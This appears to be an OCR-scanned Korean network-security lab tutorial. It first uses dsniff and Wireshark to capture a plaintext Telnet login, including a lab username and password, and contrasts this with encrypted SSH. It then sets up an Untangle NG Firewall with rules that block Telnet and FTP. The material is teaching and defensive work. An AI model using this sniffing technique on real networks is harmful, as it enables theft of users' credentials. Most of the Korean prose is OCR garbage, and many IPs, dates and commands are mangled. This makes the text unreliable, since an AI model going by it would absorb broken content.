kaliakali:~% sudo dsniff
dsniff: listening on eth®@

® dsniffe} OFEZER| 2 O AFRE HEASHH 7t2M mZlE 2L HE B

Capturing from eth0 - 0O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
n @ X o QeamES I 55 Q Q
M | Apply a display filter <Ctri-f= = '.l +
No. Time Source Destination Protocol Length Info
4 ¥
@ ¥ etho: <live capture in progress=> Packets: 1 Displayed: 1 (100.0%}  Profile: Default

® Cliento A www.xyz.com22 telnet22 H£310] HIMX| HYPS w3t 20rx ottt O aFdE ALY Hr=gotct
ChEah 20| dsniffoil A S2% YEE FESHACL

kaliakali:~% sudo dsniff

dsniff: listening on eth®

03/03/20 B6:56:11 tcp 192.168.1.10.38574 — 125.241.100.10.23 (telnet)
root

sunrin

sunrin

loshotostname

ifoconfig

1spwd

QO|OjAIROIME 22 Aoz TiZlo| HZHO| 7ts3iot

Wireshark - Follow TCP Stream (tcp.stream eq 0) - ethQ - 0 X
............. | o ES I CIRR . P At ot Lot =
B ! b e . 38400, 3849@ #.client:
@ E!' DISPLA‘( cllent L e e ®Kterm- 255color .............. Ubuntu 18.84.3

LTS
®¥yz.com login: rroocoott

Login incorrect
¥yz.com login: ssuunnrriinn
Password: sunrin

Last login: Thu Jan 9 16:17:55 KS5T 2020 from 1€.18.16.18 on pts/0
Welcome to Ubuntu 18,84.3 LTS (GNU/Linux 4.15.8-74-generic x86_64)

124 client pkts, 127 server pkts, 223 turns.

i Entire conversation (3,331 bytes) * | Show and save data as | ASCII * | Stream |0 [S
Find: Find Next
Filter Out This Stream Print Save as... Back A Close % iHelp

%o 3% ANY =dH S =

i

TelnetS 0|8% &4 HIZstol 2= S4 W80 REE + ULk 1 O|RLt SSHeRe| X0|
9]

- O
£ 20K 4

Telnet2 &4 W8S EE2=2 TEI|

= S ZtZM7|2 St M=o Ee =Y =
7] S8 =%t 71§ 0|83t S WE

Aootote] QHESHA 40| 7Hsdtot

IC}. SSHE Ola{3t oFe meke)

;O
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(’1
o
3
lo
Hﬂ

L5t dsniffet 20|{AFRE 3 AL

oH
rot
i
B
i

T
o
>
fo

SSH ¢4 ot
Client — www.xyz.com

The authenticity of host “www. com (125.241.100.18)' can't be i

ey fingerprint is SHA256:0CjAWNrtGb17/fCk xtBmeSllBLF+an|+.uuahwys
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'www.xyz.com' (ECDSA} to the list of known hosts.
Warning: the ECDSA host key for 'www.xyz.com' differs from the key for the IP address '125.241.186.1
9"
0ffending key for IP in /home/sunrin/.ssh/known hosts:2
Are you sure you uanT to continue connecting (yes/no)? yes

i com' password

Welcome to Ubuntu 18 84.3 LTS (GNU/Linux 4.15.0-74-generic x86 64)

# Documentation: https://help.ubuntu.com
Management: https://landscape.canonical.com
Support: https://ubuntu.com/advantage

System information as of Tue Mar 3 21:88:21 KST 2028

System load: 0.8 Processes: 101

Usage of /: 42.7% of 9.78GB  Users logged in: 1

Memory usage: 35% IP address for enp®s3: 125.241.100.10
Swap usage:

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

B packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-re 5. Check your Internet connection
or proxy settings

Last login: Tue Mar 3 20:
sunrin@xyz:~$ JJ

dsniff L& Zat

SSHE O[30l M4t {HE +Xi2| WEs|E dsniffE B3 983 Hw £52 MIsA 2t
kaliakali:~% sudo dsniff

[sudo] password for kali:

dsniff: listening on eth@

Client?t www.xyz.comdt2| 7| W=t - Z A

o] UEs =g 4 gloh

File Edit View Go Capture Analyze S5Statistics Telephony Wireless Tools Help

=t
o2
fot
ot
ofm
>
mjo
4>
0%
Ot
|o
Hu
éﬂ
Pl
mjo
i3
=t
el
Hj
o2
fot
ot
il
éﬂ

made X ¢ ] @& = =
| W |ssh (X | #
No. Time Source Destination Protocol Length Info s
28179 1176.5850488.. 125.241.180.19 192.168.1.18 SSHv2 1146 Server: Key Exchange Init
28185 1126.6388857. 192.168.1.10 125.241.100.. SSHv2 114 Client: Diffie-Hellman Key Exchange
28190 1126,6598313.. 125,241.100.106 192.168.1.10 SSHv2 518 Server: Diffle-Hellman Key Exchange
8464466 125.241.160.. 55Hv2 82 Client: New Keys
28997 1143.9738039. 125.241.100.108 192.168.1.10 S55Hv2 110 Server: Encrypted packe* (len=44) =

HHHHHHHHHHHHH # FTleam—E0A

Frame 28984: 118 bytes on wire (8B@ bits), 110 bytes captured (888 bits) on interface eth@, id @ -
Ethernet II, Src: PcsCompu_d3:T8:78 (€8:00:27:d3:78:78), Dst: PcsCompu_17:38:76 (08:00:27:17:30:76)
Internet Protocol Version 4, Src: 192.168.1.16, Dst: 125.241.106.18
Transmission Control Protocol, Src Port: 54554, Dst Port: 22, Seq: 1466, Ack: 1574, Len: 44
55H Protocol
~ S55H Version 2 (encryption:chacha2@-polyl3@5@openssh.com mac:<implicit> compression:none)

Packet Length {encrypted) Ba25206d

T

e

MAC a

B

() 7  Encrypted Packet (ssh.encrypted_packet), 24 byte: Packets: 36904 - Displayed: 58 (0.2%)  Profile: Default
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@ Firewall

Lot H(Firewal)2 LT HEHILL 7 HEHI AO[of (XI5t Oj2] ol ot goZ HEHYIR S0y e Edf
o uty
E =

e
Zg DUEYSD Hojshs HEYI Hot A2 oI SAE0| SAXHO| AHHOZ 2UL|E iptables, ufwet 22 WatHo| oL
YILOME YEYD WS CIECH SAE walsn YEYI Wasol 7|2X0l SAelals SUsD, BSste Cfatol e 27}
A0l J7|5(DMZ, VPN )0l Xo|7} QUCH.
YITZ0|AE NG FirwwallUntangle)2 H&0tH, 0|20 ofzfof A4 2 Qo= CYsh @EAA HEYI YstHo| glooz e
otol 28g + ot

B2 oA T|H HEYS Yoby

pfsense : https://www.pfsense.org/ OPNsense : https://opnsense.org/

NG Firewall : https://www.untangle.com/ IPFire : https://www.ipfire.org/

1. NG Firewall(Untangle) 2%

oM 2748 NG Firewalll M Untangleg CHREZE #Op MX|oHCh Untangles UTMO| YFO0|H 7|2 HX| O|F0f Qs 752 App
YEE FIHE = QUCH Firewall, Report 2712 App2 HX|& Z0|H, O|F 2lslf sl AO|EQ| AHE 40| ERsiCt

@ [I =% THIE #1st0 HS0| ALEE NG Firewall2 Of2f 3 E Sl CHEEE Hrop 7HA0AES MASIA|2,

ISOO|0|X| &€ 0|83l Untangleg HA|StHLE OVA MAES O|8¢H 7tetHilE A &= ACEH £ FA HHI O HES ZF XS
SIEE METH S MEISHD)

CH2E2E &3 : https://wiki.untangle.com/index.php/NG_Firewall_Downloads

Document, Reference : https://wiki.untangle.com/index.php/Main_Page

1 (866) 233-2296 art My Account Signin

Unthgle' PRODUCTS SOLUTIONS PARTNERS cUPPoRT  RESOURCES companY  (EERUNIRNGIED

Current Version

15.0.0

Image Link

IS0 CD Installer (64-bitfamde4/x64)

IMG USE Installer (B4-hit/amde4/x64)

OVA Virtual Image

Old Versions

1422

u untangl

7 X
IOl o = ol ©
@ ARP AZEIZ 0|8 2LEE S7IA Py AR 727
rul | — rul
pord 3AXE 2 AN WA o
o Cl/IT © o = . Eiz =
= gEH tgo”}" ;'(j E'.(i-r'l EOI) OHTO1 OF o'—I- Lacal File System T Trab Aj2E 5 -
o . _— o - i ==
I:|' EI'EJ—'—l' £O| Ka||9_| i% g M2 % [DMsti 22 8 VMsWuntangle_T500_x64 ova | & %% o= Firewall
P ey 0 7z o= E=  § (B4-hi
Iggf o|_|-|:|-' % HAZE 29 BH Z5 @] Debian (54-bit)
(0] 1
8 rav 2048 MB
@ ovo =
(¥ UsB HEEY %]
=P HIEQS ofHE [ Intel PRO/1000 MT Desktop .
= HEgS o= 7] Intel PRO/1000 MT Desktop .
O HE: HESH(DE  PIIXS
O HEL (DB PiXs
& HETL HEZBYSATA) AHC
v  HI4 HEZBYSCS)  Lsilogic
7He D= 0[O untanglevmdk
712 £4 D Ms#VirtualBox VMs "
Machine Base Folder: ‘ DMWY irualBox WMs w
MAC Z4 BA(P) BEHEHI HYBEH MAC & Fab -

JFE4: I VDIE BHE ERH0IE ERZ D

JIOIE BEiE) A2etsd [ e e



https://www.pfsense.org/
https://opnsense.org/
https://www.untangle.com/
https://www.ipfire.org/
https://wiki.untangle.com/index.php/NG_Firewall_Downloads
https://wiki.untangle.com/index.php/Main_Page

® CHREC #e Ova THYE AAHS 7HHe
#9, OfHE| 12 sAE ZEEC YEYD
OlYE(0]| "22|x" ElE2 8HEo] Ak 5,
sAE HEEO UEUD OYENY S
st ZOICk OfFE} 12 NATZ SFHE ©
=3
OIYEl 2& W% YEYIZ HHEO &

A
= ey
A#H WHo mas TESs dgs

MK X7|0& Firewalldt 22

oz HXstEE o] 4¥E |XIBHCt
2ast App X7t 2 =20 &
63" oL} "YUt E2to|H 2 WAL

® Admin0f gt AQE A HY FLE ST

Ct. Install Type, Timezone2 &7 BiC},

s Firewall - 28 3 X
] =w UWERD
VS DIE | BEE 2 HEE 3 HEE4
[ cxsag HES 3 HHES ASFIII(E
=~ CHEM HEEA: HEEHN 227 -
@I Hars et i
OI2(M): Intel(R} Wireless-AC 9560 160MHz -
nD] I
o 202 & D0
=
&3
L use
] za=0
] nexommos
m2E 4= 27 | Bl 3
[ select Language R x
C  © localhost/setup/iangu % O
@ setup Wizard x 4 x
<« C  © localhost Irdex.d & % O :
W
\f\n
vwn
untang ;
R m—
. o o
e 3 A s
3 setop wizard x + Untangle Software License
€« C @ localhost/setup/in:
UNTANGLE INC.
PROPRIETARY END USER LICENSE AGREEMENT
This End User License Agreement (this "Agreement") is entered into
between Untangle, Inc. ("Untangle") and the person or entity (“you"
or "Licensee") that purchases, receives, installs, or subscribes to
the Software Product(s) (as defined below) accompanying this
Thanks { Agreement. If you do not agree to the terms and conditions of this
Agreement, Untangle is unwiling to license the Software Product to
‘A wizard wil guide you throug] you. Untangle reserves the right to refuse to sell subscriptions, or
st 5 S St Mo s e e i R
After installation, this license Is available at https:/www.untangle.com/legal
@ setup Wizard xR x
< C @ localhest/setp/inds: & o % O
f ! I
Admin account Install Type
S F Iy Il tyg Ja mines t
admin cour 2tting: his d
Password: Choose Type:
------ Student 0
Confirm Password;
""" Timezone
Al (~UTC+09:00) AsiafSeoul ~
xyz@xyz.com
@ License Network Grds @
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HEIHUWNSE W FEESH
@ setup Wizard x4+ x
A E M 2 3}0|g
® AIA”O HX|E Network CardE ZQIBCE 71 | L | & & cesmomecs i a@®% O
%x—-!gi 27H9| Network Card7f AE-ixlElu:‘, ﬁ Password saved #
HH = C HRl= o|LC] To get all your passwords on all your
AWM= External, & WM< InternalO|LC}. Lantify N deviees, Tirn om syic
o = o = Hy IN
External2 2§ UEXHILL FAEZDH FE 2t
This step identifies the external, internal, and other network cards
o 74 g =
Ll EI 9|- g = l—l El" Step 1: Plug an active cable into one network card to determine which network card it Is.
Step 2: Drag and drop the netwerk card to map it to the desired interface,
InternaI% |_H _I?i_ |_-|| E_OI__l 3 g 7Ed _g_ Ol D:‘ _7'<_§ A Step 3: Repaat steps 1 and 2 for each network card and then click Next,
o 71 E Name %  Device Status MAC Address
TI xl 9‘" g = J I:l" External 4 etho ©  connected 1000 full-duplex Intel Corporation 08:00:27:c1:0a°c5
Internal 4 ethl @  connected 1000 full-duplex Intel Corporation 08:00:27:ad:34:78
@ Server Settings eeQosnw et r,unne::in [5) }
@ setup wizard X e g
OlE{ul oiHe Mr|= olsl "
@ CIEfull AZAR App HdXIE sl Auto(DHCP & G @ localhostsen pindes . & > % O
= EHS
S MEist
\ et \ect
Configuration Type Status
@ Auto (DHCP) 7 Static ) PPPoE IP Address: 192,168.0.18
2 Renew DHCP Netmask: /24 -255.255.255.0
Gateway: 192.168.0.1
Primary DNS: 8.8.8.8
Secondary DNS: 8.8.4.4
@ Test Connectivity
@ Network cards see0 s | internal networt |
@ setup wizard X o+ 2t
L .
“Interal Network Interface”= "Transparent Brid | . . o & ccanossecnmiier e 6
. = o
ge"2 MEBICE Untangle® 2HRE ZEZ M
= = S ol =
g5t NATE HE8Y ZB2R0& “Router'Z2 M ) T ‘
Confic \ \ (
EHSHC} Lontgu 1al IN
) Router
This is recommended if the external port is plugged into the internet connection,
This enables NAT and DHCP, 73
&3 &
@ Transparent Bridge
This is recommended i the axternal port is plugged into a firewalljrouter, This 8
bridges Internal and External and disables DHCF. s S
\u’—EJ_.E, ]
=
@ Internet Connectian eee0e0 e Auta Upgrades E |




App S5 QoL E7|0&
RS2 [Install Apps]E MEHS}HO]

£ 2X|eoy.

© YHOIE L HUE HE Y& ST MK
g gt
NAE M%) 0|20 [Apps]E HEBt0] XS

@ setup Wizard x4+ x
“ C @ localhest/setip/indesx.d & -~ % O
[7] Automatically Install Upgrades
Automatically install new versions of the software when available.
This is the recommended cheice for most sites
[7] Connect to Command Center
Remain securely connected to the Command Center for cloud management, hot fixes, and support access.
This is the recommended choice for most sites
@ setup Wizard x 4 X
& C @ localhost: & > % O
The Untangle Server is now configured.
] You are now ready to configure the applications.
« Go to Dashbeard
i
@ Untangle - untangle x4+ x
&« C @ localhost/admin/inde 1 o % 8

| & Install Apps

Apps

Service Apps

localhost/admin/index.do#apps/1




@ Untangle - untangle x4+ x
MK TtsTt SE0M [Fi 12 Meist
@ = o= App = Firewall = =Tl <« C @ localhestadmin/index.do#apps/L o~ % 6
untangle
© Backta Apps (Default)
Captive Portal Firewall Threat Prevention
Captive Portal allows Flrewallis a simple application Theeat Prevention flags and blocks
administratars to require network thatflags and blotks sessions sessione hased on rules that
users tocomplete a define: based on rules. match IP address and URL
process, such as logging Inor historical statistics.
accepting a network usage policy,
. before accassing the internet
) Ad Blocker k
Ad Blocker blocks advertising
contentand tracking cookies for
scannad web raffc.
Service Apps
Reports Policy Manager Directory Connector
Reparts recards networ; evants to PolicyManager snables Directary Connector allows
provide administrators the administrators to create different integration with external
ibility and data necessary to polieles and handie differant directorius and ssrvices, such as
investigate netwerk activity. sesslans with different policles Active Directory, RADIUS, or
aset on rules Google
. S WAN Failover . ) WAN Balancer IPsec VPN
WAN Fallover detects WAN L WAN Balancer spreads network 1PsecVPN provides secure
outages and re-routas traffic to traffic across multiple intemnat netwark aceass and tunneling to
| any othe  available WANS L connections for remate users andsites using
miavimiss natilrk aotima performance. tPeec, GRE, L2TF, Kauith, and [KEv2
localhost/admin/index. protocals. -

@ Untangle - untangle X 4
e

C @ localhost/admin/index.c

@ App HXE %8 Untangle Command Center
EI0l0f ER3 AFEE Mgt

Congratulations! Untangle is ready to be configured.

Please register with an untangle.com account before continuing.
Registering gets you the following benefits:

* Access to your account on untangle.com

o Manage your licences, renewals, servers, and contact info all from one dashboard.

« Easily transfer licences between servers.

Registration only takes a second and it is required before installing applications
Rest assured, we will never spam you or share your contact information with anyone.

@ Untangle - untangle % [ Untangle Command Center x | +
<

C @ localhestadmin/ndex do#apps/1

Create an Account

First Name * Last Name *
Bgmsghes g
Email Address *

Company Name

e —

Confirm Password *

Password *

[t

CtraffleLising iy nAtires -

sl the Op<nVPN




@ Untangle - untangle x4+ x
A M S X o ols Mxl2
® 00|_|' Alo—i E:1-|_IO|'04 App Ex|E JE < € @ localheswadmin/ind S/1 o % O
.
oHCt.
Al L H Zlogs =
M&0l= Firewall, ReportsO| ZR30, CHE A
o ml et AX|sic SSL Inspector Application Control Application Control Lite F
pp= Eﬂo‘” |- |- = | = |- SSL Inspector allows for full Appllcation Controlscans sessions foplcation contol Lite identies,
decryptionol HTTPS and SMTPS s0 anddentifies the associated ogs, and blocks sessions based an
lh.lt!ﬂm*l applications can J“DI‘LQHDH"A allowing eachtobe the session content usi om
pracess the encrytpedstreams. faggad and/or biocke slgnatures
Captive Portal Firewall Threat Prevention
(:Dliu Portal allows N F\mwu\ll!m;\m‘u\v Threat Prevention flags and blocks
ministrators to equire netuor andbloc o
s tacormplete s defned v 4 ate
pracess, such s logging inor
accepting a netwark usage policy,
bafore accessing the nteret
Ad Blocker
Ad Blocker blocks aduertising
coritent and tracking coakies for
SCannad web trafic
Service Apps
Reports Policy Manager Directory Connector
Reparts recards networkevents to PolicyManagerenablas Directary Cannector aliows
provide administrators the administrators to create different Integration with external
u ta necessary to policics and handle different d los ands ervlcas, such as
Investigate network activity, ;cn\:mwnlhdn'wwnluvlluvs Acth ‘U‘ruﬂwy‘ﬁ»\ului‘ur
ased on rulss Gaogle
[ untangle - untangle x F x
A S EHS A{EHE] EShakel
App 2X = [Apps] ®E WSOl EXTH Ap | L o 6 pcmesnne e o % O :

uﬁlnngls

p 222 oIt

& Install Apps

Apps

Firewall
Service Apps
0]
Reports.
@ Firewall [ & - Oracle VM VirtualBox - o x
4 ° N o |FE T = 2s EA
M x| 3| = o ; =3
® X App & Firewall2 MES0] Firewall2 Y —— - . 2
:'LI'El%-} ‘)I\‘ %El' < C @ localhost/admin/ind ] o % 8

untangle

© Backto Apps (Default [ Firewall o

Status | Rules

View Reports
Metrics

Firewall

Current TCP Sessions i Firewall is a simple application that flags and blocks sessions based en rules.
Current UDP Sessions

Session Requests

Sessions 0 Power

Sessions blocked @) Firewall is enabled. S

Sessions flagged

Sesslons passed

@ Reports
TCP AppSession Requests P
TCP Sessions = Firewall Summary Ll Scanned Sessions € Top Scannied Hostnames
UDP AppSession Requests € Top Flagged Hostnames & Top Blocked Hostnames € Top Scanned Clients.

LDP Sessions p Flagged Clients & Top Blocked Clients @ Top Scanned Usemames
€ Top Flagged Usemames € Top Blocked Usernames @ Top Scanned Server Ports
2 Top Flagged Server Ports € Top Blocked ServerPorts = All Events

Blocked Events

© Remove firewall

Save

SEp ey EE@ Gl B o+ Al
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el NSstn FE2ES)

Untangle Command Center?t A& & =zt
XME FTESIH Untanglel TE, MEH, X7

.
ot S8 flet HwE MY = QAL

ME0 Zast Firewall, Reports HX|7t 2t
ZYRO B2 Untangleg TESIL, HEYI M
Mg HEB) \,\ :
untangle
2. HE8 HESa EEEX| Y SAE 34
oM Fdet EEZX|0| ot2iet 20| HntHE FIteICE 2t YEIA 0Tt Wat g FIK6of otLt HE0 M= xyz.com(125.241.100.0)
ofgt ol s MX|SCh CHE HEQAE xyzcomill SUSH WAl 2 QistHS M3 4= QIC}

s0/0 14.58.90.5/30
s0/1 14.58.90.9/30

enp0s3 192.168.1.10/24 fa0/0 192.168.1.254/24 s0/0 1458.90.6/30 enpls3 125.2541.100.10/24
enp0sa NAT fa0/1 210.100.100254/24 | | fa0/0 125241100254/24 | | enpOs8 NAT
I
Client // Firgwal Xyz.com

\ > ® B \
enpls3 192.168.1.20¢/24 || enp0s3 210.100.100.10/24 s0/0 14.58.90.10/30 enpls3 888.85/24
enplsd NAT enplsg NAT fal/0 BR.A254/24 enplsg MNAT
AXY | ZE [EES H|2 PSPl ZE P H3
s0/0 | 14.58.90.5/30 Client | enp0s3 | 192.168.1.10/24 Zzto|dE
/1 s0/1 | 14.58.90.9/30 Client2 | enp0s3 | 192.168.1.20/24 SEI0[QE
fa0/0 | 192.168.1.254/24 GW DNS enp0s3 | 8.8.8.88/24 DNS A H
fa0/1 | 210100.100.254/24 GW abc.com | enp0s3 | 210.100.100.10/24 MY A
0 s0/0 | 14.58.90.6/30 xyz.com | enp0s3 | 125.241.100.10/24 MY A
fa0/0 | 125.241.100.254/24 | GW Firewall EXT 125.241.100.253 Qe
s0/0 | 14.58.90.10/30 INT - LH &
R fa0/0 | 8.8.8.254/24 GW ZEIX AE HE : root / sunrin
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7} Untangle HE$3 4%

@ Untangle Command Center’7t M#E= & @ Firewall - 8% 7 X
22tRME ZESHH Untangle B8, N | M 2= HEY3
S8, £7/3 52 QP HFE WY = | |[@] nes HEE | DIE 2 DIEID DI 4
olCt, w T HEAT e N T
| DeN oz [BEENYs -
B mu= AR F =
U - ey
HE&0l East Firewall, Reports HEX|7b ||{n 2ne -
YREQACEZ Untangleg TEStL, Ul | @ usaa
Ef3 ogH 24¥8& 25 "9E=X & | |4 mz==
2" Ee vt E210[H 2 HP oot (& use
] z==q
|
(] Mexammo~
2T 4% 272§ =0l e
@ untangle - untangle X F x
@ Untangle 28 %, Command Center0ff 2 | ¢ = ¢ @ beanostasmn by )

JQlstet,
[Config] BOIAl [Network]S MESIO] L

E3E &8sttt

Network H Administration Events Email Localirectory Upgrade
System About

® External 2AEI 0|22 Edit & & MESIY HYS HASCL

@ Untangle - untangle X 4 X

< C @ localhost/a

W # Dashboard £ Config @ Rep
untangle

@ Back to Config ﬂ Network

Interfaces Hostname Services Port Forward Rules NAT Rules Bypass Rules Filter Rules Routes DHNS Server DHCP Server Adv| =

Interface configuration
Use this page to configure each interface's configuration and its mapping to & physical network card.

i Refresh < Add Tagged VLAN Interface 3G Remap Interfaces

Id = Name Connected  Device Speed Duplex Config Current Address is WAN : Edit : Delete
1. W External Connected  ethd 1 Ghit Full-duplex  Addressed true E..i’:..i
2 % Internal Connected  ethl 1 Ghit Full-duplex  Bridaged &
@ EI’% XO_I E% xnl__—‘l_do-l_oq Aé xc;l Jol—_I_EI_. | Edit Interface
Config Type Addressed © @ Disabled
is WAN Interface Checked
IPv4 Configuration | Static thus Conflgurenion | TR = R o
(2 Auto (DHCP) * & i
Address 125.241.100.253 :
Addresd 125.241.100.253 '
Netmask /24-255.255.255.0 Netmask; /24 - 255.255.255.0 ~|1
Gateway 125.241.100.254 ateva 125261100250 :
- Primary DNg: |€.8.8,88
Primary DNS 8.8.8.88 ———— :
IPv4 Options Unchecked T
IPv4 Options k

8% 3 oibrol Eise B Meiejor BYE

| |:|- ] NAT traffic exiting this interface (and bridged peers)




© Eiseve 20| External QE{HO|A0| PRV MG XS BoY 4 9Urk
% Untangle - untangle X + x
< C @ localhost/admin/index.do#config/networl o~ % O

W\!\— # Dashboard pps &k Config  |[MaReports  [=] Ses s [ Hosts [T Devices  [E] Users Az
untangle

@ Back to Config E Network

Interfaces | Hostname | Services | Port Forward Rules | NAT Rules | Bypass Rules | Filter Rules | Routes | DNS Server | DHCP Server | Adv|=

Interface configuration
Use this page to configure each interface's configuration and its mapping to & physical network card.

& Refresh 4 Add Tagged VLAN Interface 3G Remap Interfaces

Id =« Name Connected  Device Speed Duplex Config . Current Address ' is WAN Edit Delete
1 External Connected ethi 1 Ghit Full-duplex  Addressed . 125,241.100.253. ' true .
2 Internal Connected  ethl 1 Ghit Full-duplex  Bridged

Lt. xyzcom HESI 4™

@ FirewallO| xyz.com?| AO|EQ|0] J&E stE 2
xyzcom?| IPFa 2 S HHYEL. iz file is | ated from information provide
to it will not

- @y A
gateway4: 125.241.100.254

SRR

gateway4: 125.241.100.253

@client:~$ ping 125.241.160.18
PING 125.241.100.10 (125.241.100.18) 56(84) bytes of data.
64 bytes from 125.241.160.10: icmp seg=383 ttl=61 time=22.6 ms
from 125.241.100.10: icmp seg=304 ttl=61 time=19.7 ms
from 125.241.100.10: icmp seg=3685 ttl=61 time=15.8 ms

[Apps] B2 MEHSID MX|E App TH A [Firewall] — [Rules] B2 MEHSIO] disld MMZ HYT o QUrt
@ Cliento|A www.xyz.com2ZE Telnet &2 AL SXf= OtF 3 Xttt FHAo| ME XX AU7| 20| st FH0| 7hssict,

sunrin@client:~$ telnet www.xyz.com
Trying 125.241.100.160...
Connected to www.XyZ.com.
Escape character is '"]'

Ubuntu 18.04.3 LTS

xyz.com login: sunrin

Password:

Last login: Wed Mar 4 20:18:04 KST 2828 on pts/@

Welcome to Ubuntu 18.84.3 LTS (GNU/Linux 4.15.8-74-generic x86 64)
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1

st

@ QAddg Meis

[ Untangle - untangle X =+ »

(3 C @ localhost/ac

s

untangle

@ Back to &pps (Default) = Firewall

Status :Rule I View Reports

Routing and Port Forwarding functionality can be found elsewhere in Config->Networking.

:o Add : o Import 4 Export
$ -Rule Id Enable Description Conditions Block Flag Edit Delete
+ 100001 [l Block and flag all traffic destin,.. Destination Port = 21 [ @] & mf
e 100002 |l Block and flag all TCP traffic fr... Source Address = 1.2.3.4/255.255.255.0 ™ 7 T
-+ 100003 ] Accept and flag all traffic to the... Destination Address = 1.2.3.4/255.255.255.0 -+ Destination P.. [ @] & m
[E) save
® TelnetZ AHEHSE7| QI8 SHX| ZETVL 2380 2 XEHst= ME FIHotnt
Add
Enable: [¥]
Description: Block and flag all traffic destination port 23
If all of the following conditions are met:
+ Add Condition »
Tvpe Value
r B 2
Destination Port: 5 w23 (-]
Perform the following action(s):
Action Type: Block »
Flag: [¥] 8
@ Cancel  « Done
® 9% 3 sfEto] Biseve 3 MeEBjo} HIECh
(8 Untangle - untangle X + X

& @ @ localhost/

- # Dashboard
untangle

£52 Apps |iha Reports

© Back to Apps (Default) | [ Firewall

Status Rules  lm View Heports

Routing and Port Forwarding functionality can be found elsewhere in Config->Networking.

& Import 4 Export
s Ru|e|dEnab|aDes;r|pt|o;—| ........................ Cond|t|on3 .................................................................................................
+ i 100001 Block and flag all traffic destin... Destination Port = 23
+ 1badoz ""Block and flag ail traffic destin..  Destination Port = 21 T
e 100003 [l Block and flag all TCP traffic fr... Source Address = 1.2.3.4/255.255.255.0
e 100004 ] fccept and flag all traffic to the.., Destination Address = 1.2.3.4/255.255.255.0 = Destination P..
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® Telnet AtEh HHO| BIIL R HZAEO AE Telnet L0 ZHZE FSEE/JD CHA| L2 Al=sl: H50| Hoist= A

o
for
o
O

xyz:-% Connection closed by forelgn host.
' 5 telnet www.xyz.Com
rying 125.241.1@9.14@...

telpet: Unable to connect to remote host: Conpection timed out

rl

78 Untangle - untangle X + x

< C @ localhost/admin/index. do#reportsteat=firewall&rep=flagged-everts o~ & O

mﬁ!\. = # Dashboar 2557 £ Config  [MaReports [=lSessions [JHosts [Ed Devices [ Users
untangle

Conditions: © Add~ Since: @ Today -

El Hosts

[ Devices Flagged EVentS & Refresh | [0 Auto i5 sec) | | 1000 Events v || @ Add to Dashboard || B Export Data |
3 users Events flagged by Firewall App.
[ Network & total
E]Admlnlslraimn : Protocol  Hostname Client ... S-e-n.re-r- ----------- “
Events g
gs . 2020-03-05 05:23:48 am  TCP [6] 125.241.100.10 192.168.1.10 51130 125.241.100.10 =
stem g o
E]S:_ W 1 2020-03-05 05:23:32 am  TCP [6] 192.168.1.10 51130 B
iel H =
£ Firewal T 2020 05:23:23 am  TCP [6] 152.168.1.10 51130 i
4 : :
= Firewall Summary 2020-03-05 05:23:19 am  TCP [6] 125.241.100.10 192.168.1.10 51130 23 true true 100001}
= J uli ] :
|l Scanned Sessions . 2020-03-05 05:23:17 am TCP [6] 125.241.100.10 182.168.1.10 51130 125.241.100.10 23 true true IEIEICIEIIE
ETDE-Sfar‘r'E[S Hos l 2020-03-05 05:23:16 am  TCP[6] 125.241.100.10 192.165.1.10 51130 125.241.100.10 23 true true 100("]15
i= All Events
lagged Events
i= Blocked Events
Filter | @ Add/import » ;
= PR o o = . o "
@ Telnet XtEH HHMO| EnableE M& SHK|StD StEro| [ElSave & MEHSIH FMS Moot
2 Untangle - untangle X + x
<« @ @ localhost/admin/index de#apps/L/firewall/rules o O

WJ\- — # Dashboard ~ EEEApps & Confiz |[MaReports [ZlSessions [EHosts [C Devices [HE Users
untangle

© Back to Apps (Default) | [ Firewall

Status Rules s View Reports

Routing and Port Forwarding functionality can be found elsewhere in Config->Networking.

© Add & Import 4 Export
& Rule Id ,‘E‘na‘b‘l;l escription Conditions Elock Flag Edit Delete
L : i : Block and flag all traffic destin... Destination Port = 23 7 v| r'd I
L3 CUETT ; Elock and flag all traffic destin Destination Port = 21 & @] ' imj
+ Block and flag all TCP traffic fr..  Source Address = 1.2.3.4/255.255.255.0 [ 7] & T
+ fccept and flag all traffic to the.., Destination Address = 1.2.3.4/255.255.255.0 = Destination P.. V] rd i

Telnet XtEH FMO| K| =Xt CHA| Telnet E 0| 7+S3HALY.

telnet: Unable to connect to remote host: Connection timed out
sunrin@client:~% telnet www Z.com

Trying 125.241.180.180.

Connected to www.xyz. ;

E character 1s '"]"'.

Ubuntu 18.84.3 LTS

xyz.com login: sunrin

Password:

Last login: Wed Mar 4 20:19:36 KST 0 on pts/@

Welcome to Ubuntu 18.84.3 LTS (GNU/Linux 4.15.8-74-generic x86 64)
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FTP &2 Xttt M FISHAIR
Edit
Enable; [7]

If all of the following conditions are met:

+ Add Condition =
Type

Destination Port: g

Perform the following action(s):

Description: | [FTP Block] Block and flag all traffic destined to port 21

Walue

¥ 21

un ta-'ngle

O Backto Apps (Default) n Firewall

Status Rules | l& View Reports

Routing and Port Forwarding functionality can be found elsewhere in Config->Networking.

k

Action Type: |Block ¥
Flag: [¥]
@ Cancel | « Done
BE Eimg Xttste BHME FIHStA, HTTP, HTTPSEH 8183t MM S FI6HA|IL.
[ Untangle - untangle x4+ X
“ C ® localhost/admir/in ale s o % O

Q Add o Import 4 Export
E] Rule Id Enable Description Conditions Elock Flag Edit Delete
+ 100001 HTTP Allow Destination Port = 80 "] & T
+ 100002 HTTPS Allow Destination Port = 443 I} & T
£ 100003 Al Deny No conditions @] ' Tl

add Edit
Enable: [7] Enable: [7]
Description: HTTPS Allow Description: All Dery
If all of the following conditions are met: If all of the following conditions are met:
+ Add Condition ~ + Add Condition +
e Value Tpe Value
i Destination Port: |5 ~ 443 @
perform the following action(s): s
Action Type: Pass ~
5 Perform the following action(s):
Flag: [7]
Action Type: Block .
Flag: [¥]
@ Cancel | |« Done @ Cancel ||« Done




